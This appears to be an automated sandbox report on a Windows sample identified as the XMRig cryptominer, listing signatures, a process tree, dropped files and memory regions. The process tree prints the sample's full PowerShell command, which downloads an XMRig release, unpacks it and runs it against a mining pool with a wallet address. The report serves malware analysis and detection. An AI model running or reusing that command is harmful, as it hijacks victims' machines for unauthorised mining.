Analysis

  • max time kernel
    899s
  • max time network
    890s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/05/2026, 04:26

General

  • Target
    wtf - Copy.exe
  • Size 235KB
  • Sample260502-e2k83sg14y
  • SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe
        "C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe" -o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4288

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_m221ye2h.glg.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m221ye2h.glg.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe
        • Size 5.2MB
        • SHA256 f07c7223fdb691acbf0ebc7d9cc2ae614c0cf705920420c0130248a0c0e861d4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/456-0-0x00007FF66AD10000-0x00007FF66AD52000-memory.dmp

        memory/1520-27-0x00007FF432760000-0x00007FF432770000-memory.dmp

        memory/1520-35-0x0000014CDD170000-0x0000014CDD223000-memory.dmp

        memory/1520-12-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-13-0x0000014CDCCA0000-0x0000014CDCCE6000-memory.dmp

        memory/1520-15-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-14-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-16-0x0000014CC4500000-0x0000014CC450C000-memory.dmp

        memory/1520-18-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-17-0x0000014CC4590000-0x0000014CC45A2000-memory.dmp

        memory/1520-3-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-34-0x0000014CDD150000-0x0000014CDD16C000-memory.dmp

        memory/1520-11-0x0000014CDCBE0000-0x0000014CDCC02000-memory.dmp

        memory/1520-36-0x0000014CDCC90000-0x0000014CDCC9A000-memory.dmp

        memory/1520-37-0x0000014CDD150000-0x0000014CDD162000-memory.dmp

        memory/1520-38-0x0000014CDD230000-0x0000014CDD23A000-memory.dmp

        memory/1520-60-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-4-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-76-0x0000014CDCCF0000-0x0000014CDCD00000-memory.dmp

        memory/1520-74-0x0000014CDD360000-0x0000014CDD3F1000-memory.dmp

        memory/1520-75-0x00007FF432760000-0x00007FF432770000-memory.dmp

        memory/4288-71-0x0000022A6EA80000-0x0000022A6EAA0000-memory.dmp